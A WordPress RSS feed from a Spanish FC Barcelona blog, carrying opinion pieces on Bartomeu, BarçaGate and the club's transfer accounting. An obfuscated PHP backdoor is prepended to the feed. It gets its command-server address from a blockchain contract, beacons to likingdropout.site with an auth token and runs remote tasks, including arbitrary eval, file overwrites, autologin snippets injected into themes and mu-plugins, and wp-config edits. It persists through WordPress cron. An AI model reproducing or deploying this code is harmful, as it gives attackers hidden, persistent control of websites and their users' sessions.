// 9m_ue if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 9m_ue', 'vis'=>'// xz_jl', 'vis_func'=>'wp_lcs5gz', 'vis_paths'=>array('/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_72fh5i8x', ); $keys=array(); $keys['id']='jtl'; $keys['ver']='my'; $keys['caps']='k4r'; $keys['tasks']='df6'; $keys['interval']='w85'; $keys['ack_id']='5da'; $keys['ok']='6d'; $keys['detail']='jpv'; $keys['inv']='e4e'; $keys['result']='b30'; $hdr='X-LDR-Auth';$tok='tJ9TZ3q_xtwaUVpwam9xGv367yu9piPMutsgQK7KDEg';$id='ea1d1f0b11628a07';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Josep Maria Bartomeu – Rondo Blaugrana https://www.rondoblaugrana.net En un rondo el balón pasa por todos, y en este blog también Tue, 02 Mar 2021 11:34:36 +0000 es hourly 1 https://wordpress.org/?v=7.0.2 Borrar todo lo malo https://www.rondoblaugrana.net/2021/03/barcagate-borrar-todo-lo-malo.html?utm_source=rss&utm_medium=rss&utm_campaign=barcagate-borrar-todo-lo-malo Tue, 02 Mar 2021 11:34:34 +0000 https://www.rondoblaugrana.net/?p=19304 ¿Cómo identificaríamos el mal si olvidáramos el concepto subyacente? El mundo se levanta un día, por ejemplo, y nadie sabe lo que es la esclavitud. El concepto se ha perdido, y nadie recuerda qué significa ni las implicaciones que ha tenido cuando se ha manifestado a lo largo de la historia. En ese escenario, ¿qué pasaría cuando alguien repescara del mundo de las ideas la esclavitud? Porque pasaría. Es un concepto inherente al ser humano, nadie nos lo enseñó en primera instancia y nadie volvería a hacerlo. Acabaría floreciendo de nuevo en algún lugar, brotaría y no tendríamos conciencia de sus implicaciones porque las habríamos olvidado. No sabríamos que está mal hasta que lo volviéramos a aprender, y nos costó unos miles de años concienciarnos sobre ello.

Es una de las tendencias actuales en la cultura; borrar todo aquello que hemos aprendido a lo largo de nuestra historia. Una limpieza ficticia de impurezas en búsqueda de una utópica perfección, inalcanzable para el ser humano. Lo hemos visto en los últimos años con Netflix y el tabaco, Disney y la censura, JK Rowling y la esclavitud de los elfos domésticos… toda una serie de medidas, críticas y corrientes que buscan, en última instancia, borrar todo lo malo. No enseñar, no prevenir, no curar. Borrar. Olvidar.

Este mecanismo está muy presente en muchos ámbitos de nuestro día a día, tanto por parte propia como ajena. Y el Barça y su entorno no son una excepción. Existe una tendencia, no novedosa, pero persistente, de librar al club de todos los males que se dan en él. Esto no se manifiesta de forma evidente en tiempos de riqueza, dado que los propios logros se acabarán imponiendo a los fracasos por mayoría, pero sí lo hace en tiempos de escasez. Y ahora mismo en el Barça hay poco a lo que agarrarse.

El caso del BarçaGate, que de momento se ha saldado con la detención del último presidente blaugrana, entre otros, ha sacado a relucir el mecanismo de borrado en el entorno. “Esto no es el Barça”, es la premisa sobre la cual se trabaja ahora para desvincular cualquier acción delictiva del nombre del club. No es el BarçaGate, es el BartoGate, porque el Barça no es eso, y no es eso porque eso es malo, y en este club no existe la maldad, sino que solo caracteriza lo bueno. El resto es ajeno, aunque se dé bajo el paraguas de la entidad.

En un tiempo en el que discrepar no está muy bien visto, permitidme que lo haga. El Barça es una entidad jurídica y, como tal, no es ni bueno ni malo ni ningún adjetivo que queramos usar para personificar algo que no es humano. Es lo que los socios, trabajadores, dirigentes, etc. de turno quieran que sea. Igual que el campeón de la Champions en 2015 fue el FC Barcelona (y no los jugadores y el staff), el condenado por fraude fiscal también es el FC Barcelona. Ambas cosas (y el BarçaGate, la sanción FIFA, …) se han hecho bajo el sostén de una entidad que no tiene los mecanismos suficientes para que esto no pase. E igual que se reparten primas y premios cuando se gana, Bartomeu y Rosell deberían pagar por lo que hicieron mal en nombre del club, algo que ya han esquivado varias veces y veremos si lo logran una más.

Pero el FC Barcelona también es culpable. Y debemos recordar que lo es y que lo ha sido. Porque la posibilidad de que vuelva a pasar no se desvanece con la victoria de Font o Laporta. Mientras la estructura del club permita que existan irregularidades, el Barça será culpable de todo lo que hagan sus dirigentes, trabajadores y socios. Porque sus estatutos lo permiten. Porque sus métodos de control no son suficientes. Porque si la voluntad de unos pocos de delinquir se sobrepone a una estructura jurídica, es que no es suficientemente robusta y, por lo tanto, es mejorable. Y tiene que ser mejorada. Pero para ello se debe saber y recordar, siempre, qué se ha hecho mal.

Si el presidente que elijan los socios en las próximas elecciones quiere que el Barça sea responsable solo de lo bueno a partir de entonces, deberá revisar todo lo que se ha hecho mal y el por qué y construir una entidad impermeable a voluntades delictivas. Y será imposible, porque en el mundo real la perfección de lo humano no existe. Pero si aprendemos lo que se hizo mal en el pasado, lo recordamos y lo contamos, y lo hacemos bien, será mucho más fácil identificar aquellos personajes que pretendan usar al FC Barcelona como hogar para hacer el mal. Pero si lo borramos, volverán a brotar y tendremos que volver a someternos a un aprendizaje que, en este caso, todavía no ha llegado a globalizarse.

]]> Hasta la vista, gánster https://www.rondoblaugrana.net/2020/10/hasta-la-vista-ganster.html?utm_source=rss&utm_medium=rss&utm_campaign=hasta-la-vista-ganster Fri, 30 Oct 2020 07:00:32 +0000 https://www.rondoblaugrana.net/?p=18886 “La política es el arte de buscar problemas, encontrarlos, hacer un diagnóstico falso y, después, aplicar los remedios equivocados”. Precisamente en el peor momento institucional que atraviesa el FC Barcelona en su era moderna, conviene recordar este aforismo del mítico humorista Groucho Marx. Magnífico por la disección que logra acerca de la clase política. Esa estirpe dominante a la que tanto podemos adorar como odiar con un ánimo y determinación indestructibles.

Hubo un tiempo en el que Josep Maria Bartomeu degustó ese primer polo, el del éxito y la veneración. En 2015, cuando el club ya estaba atrapado en el alambre de la decadencia, tres extraterrestres se encargaron de girar la tortilla sosteniendo, con un triplete de títulos, el mandato del presidente. Aquello fue un auténtico surtidor de exaltación, reconocimiento mundial y beneficio económico para el club. ¿Qué más le quedaba? Víctima de sus recelos y su incultura futbolística, terminó estropeándolo.

Ahí es cuando de verdad reluce la frase del cómico. El gobernador culé, justo cuando se instaló en el cénit de la gloria que otros le propiciaron, no la custodió, sino que la echó a perder construyendo una interminable trama de corrupción y desaciertos que jamás pudo remediar: fue sancionado por la FIFA por infracciones en traspasos de menores, quedó misteriosamente exonerado del caso Neymar, contrató a una empresa para difamar a sus propios futbolistas y amenazó a Leo Messi con ir a los tribunales. A todo esto, tomó como costumbre la destitución de directores deportivos y entrenadores y siempre fichó a futbolistas -todavía pendientes de amortizar- por aquello de cuadrar las cuentas. En definitiva, nunca importó el fútbol.

Sin ideas, proyectos, ni siquiera bocetos, Bartomeu se lo jugó todo a la carta de la inercia ganadora que consolidó al club en los últimos años. Tenía razón Messi cuando dijo, sobre la junta directiva, que “van haciendo malabares y tapando agujeros”. La política no fue otra que la del cambio de cromos, fabricando continuamente nuevos hypes con los que enredar a la afición. Que si el Espai Barça, que si Coutinho, que si Dembélé, que si la superliga europea, que si el cruyffismo de Setién, etc. El hecho de que no comulgara con la doctrina cruyffista -por mucho que él intentara parecer lo contrario- es el menor de los problemas, pues ni siquiera supo desmarcarse de ella. No se agarró a una alternativa. Sencillamente no fue nada. Tan sólo un método vacío. Una continua exhibición de incertidumbre y confusión que terminó ensuciando los tres grandes ejes de los que él mismo siempre habló: el social, el económico y el deportivo.

En el apartado social, sobresale un hecho sin precedentes en la historia del club: más de 20.000 socios sellaron su voluntad de juzgar la gestión del presidente en una moción de censura. Esa cifra habla por sí sola de la manera cómo se ha proyectado Bartomeu hacia su propio público. En el económico, el dirigente azulgrana siempre presumió de los casi 1.000 millones de ingresos obviando el peaje que suponía la enorme deuda que arrastraría la próxima junta. Por no hablar de los planes del Espai Barça y el naming rights, un proyecto que pretendía saldar en los próximos 20 años. Finalmente, en el apartado deportivo, ‘Barto’ todavía nos tendrá que explicar cuáles eran sus pretensiones con la Masía -desterrada por el mercado sudamericano- y el primer equipo, humillado en la Champions League campaña tras campaña, desde 2016, precisamente el año en el que tuvo que producirse la regeneración de la plantilla de la que ahora, cuatro años tarde, saca pecho el presidente. Groucho diría que eso es un diagnóstico falso.

Igual que culpar al Govern de la Generalitat de su dimisión y la del resto de su gabinete. Naturalmente, se fue siendo el que era. Un especialista de la farsa. Ni el fútbol ni el Barça echarán de menos a Josep María Bartomeu. Adéu, president. O, como diría David Fernández, “hasta la vista, gánster”.

]]> ¡Juguemos a Engatusados! https://www.rondoblaugrana.net/2020/09/juguemos-a-engatusados.html?utm_source=rss&utm_medium=rss&utm_campaign=juguemos-a-engatusados Tue, 22 Sep 2020 06:00:00 +0000 https://www.rondoblaugrana.net/?p=18753 Durante un rato, vamos a intentar meternos en la mecánica de mercado de la directiva del Barça y a valorar qué tiene que pasar para que el Club pueda hacer incorporaciones y, a su vez, no perder dinero a cierre de mercado.

En los últimos años, el Barça ha cuadrado sus cuentas a base de ventas de jugadores. Básicamente, operaciones que aseguraban acabar en positivo el ejercicio económico. Muchas de estas operaciones, además, en último día de mercado.

Como ejemplo más cercano, Arthur. A 30 de junio, el Barça cierra una operación que le asegura unos +45-50M€ en beneficios para el ejercicio 2019/2020. Si en un contexto normal se daban operaciones como la de Neto – Cillessen, en mitad de una pandemia había que exprimir esa opción todavía más.

A 30 de junio, además, el Getafe se decidió a acogerse a la cláusula de compra del contrato de cesión de Cucurella, lo que aseguraba otros +10M€ en beneficios. Claro, Arthur se vende por 72M€, pero todavía quedaba una buena parte de la amortización de su fichaje, pero Cucu es de la casa y ahí cualquier venta es beneficio contable.

El Barça tenía que arreglar las cuentas de la temporada pasada y lo hizo (o maquillarlas, porque nadie va a poder arreglar sus cuentas en mitad de la COVID). Con una temporada que empieza estropeada, el margen de maniobra es menor, así que no pueden permitirse salir en negativo del mercado.

La primera regla: el balance contable entre fichajes y ventas tiene que ser, como mínimo, cero. Y digo cero por poner un límite inferior no negativo pero, como siempre, aquí la idea es salir tan positivo como razonablemente se pueda.

Pero no solo tienen que acabar cuadrando los ingresos extraordinarios y las amortizaciones. Después de años arrastrando el mismo problema, la directiva del Barça al fin ha aceptado que deben disminuir la masa salarial. Una cifra que se ha visto reiteradamente aumentada en cada renovación de los últimos años.

La segunda regla: el balance de salarios dados de baja y de alta tiene que positiva. ¿Cuánto? Tanto como razonablemente se pueda. ¿Y como mínimo? No tenemos cifras objetivas de contratos, así que no hay mínimo numérico. Pero nos las apañaremos.

Esto lleva siendo así desde que se decidió suspender la competición en marzo. Pero en las últimas semanas más de 20.000 personas han decidido que quieren votar para echar a una junta que en los últimos meses (y años) se ha aferrado a sus sillas como Reixach a su puesto de trabajo.

Parece remota la posibilidad que en cualquier punto de este proceso esta junta dimita. Quizá en un último instante de orgullo con todo perdido, pero no apostaría demasiado por ello. Así que…

Llegamos a la tercera regla: tenemos que intentar cambiar la corriente de opinión actual. Porque antes bastaba con limitar esas corrientes de opinión, pero ahora parece que no es tan viable. En algún momento se les fue de las manos de Ace Ventura.

Muchas restricciones, ¿no? Como para que luego digamos que la secretaría técnica del Barça no trabaja. Me imagino programar una optimización de decisiones en base a estas restricciones y me cuesta ver que no acabe con una seta atómica con un “The End” en cursiva en pantalla.

Pero hemos venido a jugar, ¿no? ¡JUGUEMOS A ENGATUSADOS!

¿Qué ha pasado hasta ahora? Empecemos por lo que menos importa a la mayoría de socios en cuanto a fútbol; el Barça B. Matheus Pereira, Ndiaye y Gustavo Maia, que más o menos dejarán un gasto en amortizaciones de 2-3M€, nada preocupante, así como un conjunto de sueldos que probablemente no llegue ni a uno de primera plantilla.

¿Mal comienzo? No creo, operaciones menores que poco afectan a las decisiones en el primer equipo. Pero con el truco de Arthur venía la contrapartida de Pjanic. 15M€ más en amortizaciones para la 20/21 y un salario posiblemente superior al de Arthur.

Vamos a empeorarlo. Trincao. 5M€ en amortizaciones y su salario… ¿pero qué estamos haciendo? Ya vamos con unos 23M€ en pérdidas y pagamos más en salarios. Y si fichamos a Eric García… pues otros 3M€ en amortizaciones, además de su salario.

Como lo de vender siempre nos cuesta, primero quitemos cuotas de seguridad social que eso hay que tocarlo sí o sí. Así que vendemos a Rakitic por más o menos lo que queda por amortizar (renovó hasta 2021) y ahí nos quitamos un salario interesante.

Ahora ya vamos cumpliendo la segunda regla. Pero por muy poco, necesitamos aligerar más cuotas de la SS. Vidal, fuera. Esperemos poder venderlo por los 7M€ de faltan por amortizar, porque sino… de todas formas, un salario bonito que nos quitamos de encima.

Pero las ballenas cuesta sacarlas del mar. Hay que librarse del sueldo de Suárez. Y, claro, no voy a dejarle libre pagándole el año que le queda de contrato, para eso que se quede. En todo caso, también debería irse por no menos de unos 9M€ que faltan por amortizar (renovó hasta 2021).

En el caso de ambos, incluso se podría pactar rescindir el contrato abonándoles una parte de salario. Porque con los contratos que tienen, una buena parte de cada uno ya sería mucho. Aun comiéndose el Barça lo que resta para amortizarlos. Lo que nos lleva a pensar lo que hubiesen agradecido las cuentas del Barça que Messi se fuera (salario out) y encima que alguien pagara algo (directo a beneficios).

Pero claro, y por orden de aparición, la primera regla. De momento, perdemos dinero. Hay que vender algo tocho. Nadie nos va a pagar para que lo de Coutinho quede en positivo y a Dembélé ni en papel de regalo. ¿A quién nos van a fichar?

A nadie, porque todos cotizan a la baja. Salvo alguno, que tiene mercado con cifras interesantes. Además, uno tiene a un agente que te lo cuela en algún lado seguro. Pero te queda una posición más coja de lo que ya era desde hace años. La tercera regla empieza a asomar la cabeza.

Vender a Semedo por los 37M€ que se barajan es un negocio redondo. Le quedan unos 14M€, así que tendríamos 23M€ en beneficios extraordinarios y un salario intermedio menos en la plantilla. Si diéramos por hecho que a Vidal y Suárez los podremos colar en algún lado… estamos a cero en compra-ventas.

Pero hay que pensar en todo lo que nos ahorraremos en salario sin Vidal y Suárez… ya sin Vidal y Rakitic es considerable, pero es que si además se va el uruguayo… quizá unos millones de margen hay para poder “violar” la primera regla por haber sacado matrícula en la segunda.

Aquí ya se presenta el Señor X y les dice que algo bueno, bonito y barato hay que fichar. ¿Quizá algo que suponga un gasto en amortizaciones de 5-10 millones? Serían entre 25 y 50 millones… Koeman nos pide a Depay, pero nos falta algo en el lateral derecho.

En todo caso, son dos fichajes que juntos harían el máximo y uno sería lo recomendable, porque además fichas a su salario. Solo nos da para uno. Salvo que podamos convencer a algún club que nos haga eso de la cesión con opción de compra “obligada”. Pero el Norwich no quiere y al Ajax le ofrecen cash. Y el Olympique también quiere venta.

“¡Todos quieren cash, por dios!”, murmulla cabreado el Señor Negro. Pues claro que quieren cash, todo el mundo quiere cash en mitad de una pandemia en la que han sufrido pérdidas más que relevantes todos y cada uno de ellos. Cash o venta, como prefiráis.

Así que el Barça está aquí, luchando contablemente para intentar cambiar la corriente de opinión sin infringir la primera regla, o haciéndolo pero compensando con la segunda. Pero atentos. Porque con Wagué al PAOK nos sacamos un salario… y a Todibo si lo colamos por 5-10M€… entonces quizá nos daría para los dos.

¿Y la cosa va de 10-20M€? En los últimos años, las cuentas del Barça siempre van de 10-20M€. De hecho, lo responsable sería no incorporar más de lo que ya se ha hecho, porque ahora más que nunca las cuentas piden austeridad… pero ahora más que nunca lo deportivo pide caras nuevas.

Falta el tema de la Acción de Responsabilidad Social. Si la directiva acaba mandato, controlan las cuentas y pueden hacer ingeniería financiera. Aunque siempre existe la posibilidad que la siguiente junta haga lo que le hizo la de Rosell a la de Laporta. O que interpongan una ARS por otros temas, como el Barça Gate o las cosas raras que llevan pasando desde hace años.

Si no acaban mandato, se pondrían en duda las cuentas de la 2019/2020 y quizá esas son las que necesitan que no se revisen, porque sino se librarían de la responsabilidad de la actual temporada (al menos en parte). Esta junta, la que ganó las elecciones en 2015, tiene un beneficio acumulado de unos 85M€, si tenemos en cuenta que se habla de 97M€ en pérdidas de la 19/20… necesitan que esta temporada cierre en positivo para que su balance global en el club no salga a deber. Y aquí iría de 10-20M€. Pero en todo caso no hay forma humana de evitar la posibilidad de una ARS porque depende de la voluntad de la siguiente junta o de cualquier grupo de socios.

¿En resumen? El Barça tenía que vaciar y esa era la revolución de Bartomeu. La regla dos era la base del juego y se va a cumplir sin demasiados peros. El tercera regla todavía está en juego su cumplimiento, y aunque sería un acto de responsabilidad no cumplirla, es decir, no fichar en función de criterios ajenos a lo deportivo y/o económico, el background de esta directiva nos hace pensar que alguien va a venir. Porque a Semedo lo iban a renovar hace un mes y cuando un grupo de socios ha recogido 20.000 firmas en su contra, le han buscado rápidamente casa nueva. Parece inviable tener mucho beneficio por la venta de jugadores si le restamos a eso lo que las amortizaciones vayan a impactar en las cuentas de la 20/21, así que la primera regla… fail.

No puedes acudir a un mercado en el que tus bajas solo pueden darse para cubrir gastos y liberar salario porque no tienes activos que puedan dejar un buen montante. O sí, pero uno se fue a 30 de junio y el otro lo que va a hacer es que no tengas pérdidas en la ecuación beneficio contable por ventas menos amortizaciones acumuladas adicionales. La regla uno no es compatible, a día de hoy, con la tres, salvo sorpresa. Así que a dos semanas de acabar el mercado….

¡PARECE QUE HEMOS SIDO ENGATUSADOS!

PD: Este texto empezó siendo un hilo de tuits pero su extensión ha hecho repensar el formato.

]]> Bartomeu: De Lisboa a las elecciones https://www.rondoblaugrana.net/2020/08/bartomeu-de-lisboa-a-las-elecciones.html?utm_source=rss&utm_medium=rss&utm_campaign=bartomeu-de-lisboa-a-las-elecciones Wed, 19 Aug 2020 06:00:09 +0000 https://www.rondoblaugrana.net/?p=18729 @Joanbarriach

Lisboa 2020 fue el final del principio. El peor de los escenarios se vieron en Da Luz contra el Bayern. No hubo ni orgullo, amor propio ni dignidad para morir con los honores que esta generación merecía. Y enfrente no hubo compasión, vieron un cadáver putrefacto enfrente muy gordo y decidieron despellejarlo sin misericordia. A un gigante, si lo ves así, debes rematarlo.

Las principales consecuencias del desastre de Lisboa pasan por la destitución de Setién, la continuidad de Bartomeu y su junta directiva para terminar el mandato, el anuncio de un nuevo entrenador y la convocatoria de las elecciones durante la primera jornada en el Camp Nou en Liga a partir del 15 de marzo de 2021. Abidal, que ya vio que iba a ejercer el rol de sicario de la junta para ir dando bajas en la plantilla ha decidido irse antes de que le echaran. En pleno mes de agosto, a menos de un mes de empezar la temporada 20-21 el Fútbol Club Barcelona se queda sin un director deportivo al uso y, si había estrategia, queda ésta al mando del tótem Bartomeu y de Ramon Planes.

En estas elecciones el actual presidente no puede presentarse, pero sí puede preparar el terreno para un candidato continuista cuyo nombre hoy es desconocido y maquillar o arreglar las cuentas para salvar su patrimonio y su gestión económica y financiera. La gestión deportiva queda dentro de la parcela adscrita al caos, tirar para adelante como buenamente se pueda y dejar un solar para el sucesor. Sin cantera, talento envejecido para la élite, política de fichajes errática y mediocre y pérdida de la dignidad mínima institucional requerida para una institución que se autoproclama “Més que un club”.

¿Se puede hacer caer la directiva antes de las elecciones?

Legalmente se puede. La vía más clara según los estatutos del Barcelona es impulsar una Moción de Censura contra la directiva. Para ello deben reunirse las firmas de un mínimo del 15% de apoyos de la masa social del Fútbol Club Barcelona (aproximadamente son 16.000) en un margen de tiempo de 14 días hábiles. Desde la nueva reforma estatutaria (se amplió del 5 al 15%) tramada por Sandro Rosell y sus compinches sacar adelante la moción es muy difícil.

Otras vías ya pasan del cauce legal y estatutario, pero forman parte del día a día en nuestra sociedad, como es la de conseguir una serie de apoyos mediáticos lo suficientemente potentes que ejerzan la presión para que Bartomeu y su junta se vean en la obligación de dimitir en bloque. Escenario improbable a día de hoy.

¿Quiénes serán los próximos candidatos?

Confirmados:

Víctor Font: Su principal carta de presentación es ir con la figura de Xavi como entrenador y tótem de toda su estructura deportiva. A día de hoy sería la más rupturista en relación a la actual junta y al pasado más reciente.

Agustí Benedito: Ya se presentó en las elecciones de 2015. Entonces, su principal argumento contra la candidatura de Bartomeu era la vergüenza del patrocinio de Qatar al Barça. Se desconoce con qué apoyos contará, pero sí parece que quiere iniciar otra aventura en solitario para llegar a la presidencia.

Pendientes de confirmar:

Joan Laporta: Presidente desde 2003 hasta el verano de 2010. En su momento fue la oposición más firme y fuerte contra la figura de Josep Lluís Núñez. Representa la figura más radical y fiel a Cruyff y a su filosofía de juego. Cuenta con importantes apoyos y detractores. Perdió en 2015 contra Bartomeu.

